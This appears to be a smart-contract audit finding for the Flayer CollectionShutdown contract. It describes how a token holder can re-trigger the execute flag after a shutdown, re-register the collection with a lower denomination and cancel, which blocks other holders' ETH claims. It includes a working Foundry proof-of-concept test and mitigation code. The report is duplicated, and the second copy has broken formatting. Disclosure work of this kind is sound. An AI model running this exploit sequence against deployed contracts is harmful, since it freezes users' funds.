The attacker will prevent eligible users from claiming the liquidated balance
Summary
The CollectionShutdown contract has vulnerabilities allowing a malicious actor to prevent eligible users from claiming the liquidated balance after liquidation by SudoSwap.
Root Cause
The CollectionShutdown::vote() does not prevent voting after the collection shutdown is executed and/or during the claim state, allowing malicious actors to trigger canExecute to TRUE after execution.
The CollectionShutdown::cancel() does not use params.collectionToken to retrieve the denomination() for validating the total supply during cancellation, which opens the door to manipulations that can bypass the checks.
Internal pre-conditions
The collection token total supply must be within a valid limit for the shutdown condition (e.g., less than or equal to MAX_SHUTDOWN_TOKENS).
The denomination of the collection token for the shutdown collection is greater than 0.
External pre-conditions
The attacker holds some portion of the collection token supply for the shutdown collection.
Attack Path
Pre-condition:
Assume the collection token (CT) total supply is 4 CTs (4 * 1e18 * 10 ** denom).
There are 2 holders of this supply: Lewis (2 CTs) and Max (2 CTs).
Attack:
Lewis notices that the collection can be shutdown and calls CollectionShutdown::start().
totalSupply meets the condition <= MAX_SHUTDOWN_TOKENS.
Result: This check passes, allowing Max to cancel and prevent Lewis from claiming their eligible ETH from SudoSwap.
Impact
The attack allows a malicious actor to prevent legitimate token holders from claiming their eligible NFT sale proceeds from SudoSwap. This could lead to significant financial losses for affected users.
Put the snippet below into the protocol test suite: flayer/test/utils/CollectionShutdown.t.sol
Run test:
forge test --mt test_CanBlockEligibleUsersToClaim -vvv
Coded PoC
Show Coded PoC
```solidity
function test_CanBlockEligibleUsersToClaim() public {
address Lewis = makeAddr("Lewis");
address Max = makeAddr("Max");
address MaxRecovery = makeAddr("MaxRecovery");
// -- Before Attack --
// Mint some tokens to our test users -> totalSupply: 4 ethers (can shutdown)
vm.startPrank(address(locker));
collectionToken.mint(Lewis, 2 ether * 10 ** collectionToken.denomination());
collectionToken.mint(Max, 2 ether * 10 ** collectionToken.denomination());
vm.stopPrank();
// Start shutdown with their vore that has passed the threshold quorum
vm.startPrank(Lewis);
uint256 lewisVoteBalance = 2 ether * 10 ** collectionToken.denomination();
collectionToken.approve(address(collectionShutdown), type(uint256).max);
collectionShutdown.start(address(erc721b));
assertEq(collectionShutdown.shutdownVoters(address(erc721b), address(Lewis)), lewisVoteBalance);
vm.stopPrank();
// Confirm that we can now execute
assertCanExecute(address(erc721b), true);
// Mint NFTs into our collection {Locker} and process the execution
uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
collectionShutdown.execute(address(erc721b), tokenIds);
// Confirm that the {CollectionToken} has been sunset from our {Locker}
assertEq(address(locker.collectionToken(address(erc721b))), address(0));
// After we have executed, we should no longer have an execute flag
assertCanExecute(address(erc721b), false);
// Mock the process of the Sudoswap pool liquidating the NFTs for ETH. This will
// provide 0.5 ETH <-> 1 {CollectionToken}.
_mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 2 ether);
// Ensure that all state are SET
ICollectionShutdown.CollectionShutdownParams memory shutdownParamsBefore = collectionShutdown.collectionParams(address(erc721b));
assertEq(shutdownParamsBefore.shutdownVotes, lewisVoteBalance);
assertEq(shutdownParamsBefore.sweeperPool, SUDOSWAP_POOL);
assertEq(shutdownParamsBefore.quorumVotes, lewisVoteBalance);
assertEq(shutdownParamsBefore.canExecute, false);
assertEq(address(shutdownParamsBefore.collectionToken), address(collectionToken));
assertEq(shutdownParamsBefore.availableClaim, 2 ether);
// -- Attack --
uint256 balanceOfMaxBefore = collectionToken.balanceOf(address(Max));
uint256 amountSpendForAttack = 1;
// Transfer almost full funds to their second account and perform with small amount
vm.prank(Max);
collectionToken.transfer(address(MaxRecovery), balanceOfMaxBefore - amountSpendForAttack);
uint256 balanceOfMaxAfter = collectionToken.balanceOf(address(Max));
assertEq(balanceOfMaxAfter, amountSpendForAttack);
// Max votes even it is in the claim state to flag the `canExecute` back to Trrue
vm.startPrank(Max);
collectionToken.approve(address(collectionShutdown), type(uint256).max);
collectionShutdown.vote(address(erc721b));
assertEq(collectionShutdown.shutdownVoters(address(erc721b), address(Max)), amountSpendForAttack);
vm.stopPrank();
// Confirm that Max can now flag `canExecute` back to `TRUE`
assertCanExecute(address(erc721b), true);
// Attack to delete all varaibles track, resulting others cannot claim thier eligible ethers
vm.startPrank(Max);
locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
collectionShutdown.cancel(address(erc721b));
vm.stopPrank();
// Ensure that all state are DELETE
ICollectionShutdown.CollectionShutdownParams memory shutdownParamsAfter = collectionShutdown.collectionParams(address(erc721b));
assertEq(shutdownParamsAfter.shutdownVotes, 0);
assertEq(shutdownParamsAfter.sweeperPool, address(0));
assertEq(shutdownParamsAfter.quorumVotes, 0);
assertEq(shutdownParamsAfter.canExecute, false);
assertEq(address(shutdownParamsAfter.collectionToken), address(0));
assertEq(shutdownParamsAfter.availableClaim, 0);
// -- After Attack --
vm.expectRevert();
vm.prank(Lewis);
collectionShutdown.claim(address(erc721b), payable(Lewis));
}
```
Result
Results of running the test:
Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
[PASS] test_CanBlockEligibleUsersToClaim() (gas: 1491640)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.96s (3.48ms CPU time)
Ran 1 test suite in 11.17s (10.96s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Mitigation
Add validations to prevent manipulation of the CT denomination, and restrict voting during the claim state to prevent re-triggering of params.canExecute.
function vote(address _collection) public nonReentrant whenNotPaused {
// Ensure that we are within the shutdown window
CollectionShutdownParams memory params = _collectionParams[_collection];
if (params.quorumVotes == 0) revert ShutdownProccessNotStarted();
Update the usage of token denomination to use the token depens on the tracked token to inconsisten value.
function cancel(address _collection) public whenNotPaused {
// Ensure that the vote count has reached quorum
CollectionShutdownParams memory params = _collectionParams[_collection];
if (!params.canExecute) revert ShutdownNotReachedQuorum();
// Check if the total supply has surpassed an amount of the initial required
// total supply. This would indicate that a collection has grown since the
// initial shutdown was triggered and could result in an unsuspected liquidation.
if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
Vast Umber Walrus
High
The attacker will prevent eligible users from claiming the liquidated balance
Summary
The
CollectionShutdown
contract has vulnerabilities allowing a malicious actor to prevent eligible users from claiming the liquidated balance after liquidation bySudoSwap
.Root Cause
CollectionShutdown::vote()
does not prevent voting after the collection shutdown is executed and/or during the claim state, allowing malicious actors to triggercanExecute
toTRUE
after execution.CollectionShutdown::cancel()
does not useparams.collectionToken
to retrieve thedenomination()
for validating the total supply during cancellation, which opens the door to manipulations that can bypass the checks.Internal pre-conditions
MAX_SHUTDOWN_TOKENS
).denomination
of the collection token for the shutdown collection is greater than 0.External pre-conditions
Attack Path
Pre-condition:
4 * 1e18 * 10 ** denom
).Attack:
Lewis notices that the collection can be shutdown and calls
CollectionShutdown::start()
.totalSupply
meets the condition<= MAX_SHUTDOWN_TOKENS
.params.quorumVotes
= 50% of totalSupply =2 * 1e18 * 1eDenom
(2 CTs).params.shutdownVotes += 2 CTs
.params.canExecute
is flagged to beTRUE
sinceparams.shutdownVotes (2CTs) >= params.quorumVotes (2 CTs)
.Time passes, no cancellation occurs, and the owner executes the pending shutdown.
params.quorumVotes
remains the same as there is no change in supply.Locker
, deleting_collectionToken[_collection]
andcollectionInitialized[_collection]
.params.canExecute
is flagged back toFALSE
.After some or all NFTs are sold on SudoSwap:
Max monitors the NFT sales and prepares for the attack.
Max splits their balance of CTs to his another wallet and remains holding a small amount to perform the attack.
Max, who never voted, calls
CollectionShutdown::vote()
to flagparams.canExecute
back toTRUE
.params.shutdownVotes >= params.quorumVotes
(due to Lewis' shutdown),params.canExecute
is set back toTRUE
.Max registers the target collection again, manipulating the token's
denomination
via theLocker::createCollection()
.denomination
lower than the previous one (e.g., previously 4, now 0).Max invokes
CollectionShutdown::cancel()
to remove all properties of_collectionParams[_collection]
, including_collectionParams[].availableClaim
.Result: This check passes, allowing Max to cancel and prevent Lewis from claiming their eligible ETH from SudoSwap.
Impact
The attack allows a malicious actor to prevent legitimate token holders from claiming their eligible NFT sale proceeds from SudoSwap. This could lead to significant financial losses for affected users.
PoC
Setup
CollectionShutdown.t::constructor()
to mint CTs token with denominator more that 0flayer/test/utils/CollectionShutdown.t.sol
Coded PoC
Show Coded PoC
```solidity function test_CanBlockEligibleUsersToClaim() public { address Lewis = makeAddr("Lewis"); address Max = makeAddr("Max"); address MaxRecovery = makeAddr("MaxRecovery"); // -- Before Attack -- // Mint some tokens to our test users -> totalSupply: 4 ethers (can shutdown) vm.startPrank(address(locker)); collectionToken.mint(Lewis, 2 ether * 10 ** collectionToken.denomination()); collectionToken.mint(Max, 2 ether * 10 ** collectionToken.denomination()); vm.stopPrank(); // Start shutdown with their vore that has passed the threshold quorum vm.startPrank(Lewis); uint256 lewisVoteBalance = 2 ether * 10 ** collectionToken.denomination(); collectionToken.approve(address(collectionShutdown), type(uint256).max); collectionShutdown.start(address(erc721b)); assertEq(collectionShutdown.shutdownVoters(address(erc721b), address(Lewis)), lewisVoteBalance); vm.stopPrank(); // Confirm that we can now execute assertCanExecute(address(erc721b), true); // Mint NFTs into our collection {Locker} and process the execution uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3); collectionShutdown.execute(address(erc721b), tokenIds); // Confirm that the {CollectionToken} has been sunset from our {Locker} assertEq(address(locker.collectionToken(address(erc721b))), address(0)); // After we have executed, we should no longer have an execute flag assertCanExecute(address(erc721b), false); // Mock the process of the Sudoswap pool liquidating the NFTs for ETH. This will // provide 0.5 ETH <-> 1 {CollectionToken}. _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 2 ether); // Ensure that all state are SET ICollectionShutdown.CollectionShutdownParams memory shutdownParamsBefore = collectionShutdown.collectionParams(address(erc721b)); assertEq(shutdownParamsBefore.shutdownVotes, lewisVoteBalance); assertEq(shutdownParamsBefore.sweeperPool, SUDOSWAP_POOL); assertEq(shutdownParamsBefore.quorumVotes, lewisVoteBalance); assertEq(shutdownParamsBefore.canExecute, false); assertEq(address(shutdownParamsBefore.collectionToken), address(collectionToken)); assertEq(shutdownParamsBefore.availableClaim, 2 ether); // -- Attack -- uint256 balanceOfMaxBefore = collectionToken.balanceOf(address(Max)); uint256 amountSpendForAttack = 1; // Transfer almost full funds to their second account and perform with small amount vm.prank(Max); collectionToken.transfer(address(MaxRecovery), balanceOfMaxBefore - amountSpendForAttack); uint256 balanceOfMaxAfter = collectionToken.balanceOf(address(Max)); assertEq(balanceOfMaxAfter, amountSpendForAttack); // Max votes even it is in the claim state to flag the `canExecute` back to Trrue vm.startPrank(Max); collectionToken.approve(address(collectionShutdown), type(uint256).max); collectionShutdown.vote(address(erc721b)); assertEq(collectionShutdown.shutdownVoters(address(erc721b), address(Max)), amountSpendForAttack); vm.stopPrank(); // Confirm that Max can now flag `canExecute` back to `TRUE` assertCanExecute(address(erc721b), true); // Attack to delete all varaibles track, resulting others cannot claim thier eligible ethers vm.startPrank(Max); locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0); collectionShutdown.cancel(address(erc721b)); vm.stopPrank(); // Ensure that all state are DELETE ICollectionShutdown.CollectionShutdownParams memory shutdownParamsAfter = collectionShutdown.collectionParams(address(erc721b)); assertEq(shutdownParamsAfter.shutdownVotes, 0); assertEq(shutdownParamsAfter.sweeperPool, address(0)); assertEq(shutdownParamsAfter.quorumVotes, 0); assertEq(shutdownParamsAfter.canExecute, false); assertEq(address(shutdownParamsAfter.collectionToken), address(0)); assertEq(shutdownParamsAfter.availableClaim, 0); // -- After Attack -- vm.expectRevert(); vm.prank(Lewis); collectionShutdown.claim(address(erc721b), payable(Lewis)); } ```Result
Results of running the test:
Mitigation
Add validations to prevent manipulation of the CT denomination, and restrict voting during the claim state to prevent re-triggering of
params.canExecute
.if (params.sweeperPool != address(0)) revert ShutdownExecuted(); _collectionParams[_collection] = _vote(_collection, params); }
Update the usage of token denomination to use the token depens on the tracked token to inconsisten value.
if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) { revert InsufficientTotalSupplyToCancel(); }
// Remove our execution flag delete _collectionParams[_collection]; emit CollectionShutdownCancelled(_collection); }